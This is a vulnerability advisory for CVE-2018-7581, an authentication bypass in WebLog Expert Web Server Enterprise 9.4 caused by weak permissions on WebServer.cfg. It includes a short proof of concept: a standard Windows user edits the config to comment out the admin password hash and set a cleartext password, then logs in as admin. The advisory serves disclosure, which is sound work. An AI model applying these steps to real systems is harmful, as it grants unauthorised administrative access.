[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/WEBLOG-EXPERT-WEB-SERVER-ENTERPRISE-v9.4-AUTHENTICATION-BYPASS.txt [+] ISR: Apparition Security Vendor: ======== www.weblogexpert.com Product: ======== WebLog Expert Web Server Enterprise v9.4 WebLog Expert is a fast and powerful access log analyzer. It will give you information about your site's visitors: activity statistics, accessed files, paths through the site, information about referring pages, search engines, browsers, operating systems, and more. The program produces easy-to-read reports that include both text information (tables) and charts. Vulnerability Type: =================== Authentication Bypass CVE Reference: ============== CVE-2018-7581 Security Issue: ================ The "WebServer.cfg" under "ProgramData\WebLog Expert\WebServer\" used by WebLog Expert Web Server Enterprise 9.4 has weak permissions (BUILTIN\Users:(ID)C), which allows local users to set a cleartext password and login as admin. A standard non Windows Administrator user can edit the 'WebServer.cfg' file under "C:\ProgramData\WebLog Expert\WebServer" set to a cleartext password and login as admin. e.g. C:\ProgramData\WebLog Expert\WebServer>cacls * | more C:\ProgramData\WebLog Expert\WebServer\WebServer.cfg BUILTIN\Users:(ID)C BUILTIN\Administrators:(ID)C NT AUTHORITY\SYSTEM:(ID)F BUILTIN\Administrators:(ID)F Exploit/POC: ============= Login as a 'Standard' Windows user Comment out the Admin hashed password using ';' then add any cleartext password as follows. [User:admin] Password=1234 ;PasswordHash=3413C538CE5234FB194E82AE1F3954FD2BC848C0 bAllProfiles=1 Now login in as Admin! :) Network Access: =============== Local Severity: ========= Medium Disclosure Timeline: ============================= Vendor Notification: March 1, 2018 No replies from previous attempts March 7, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx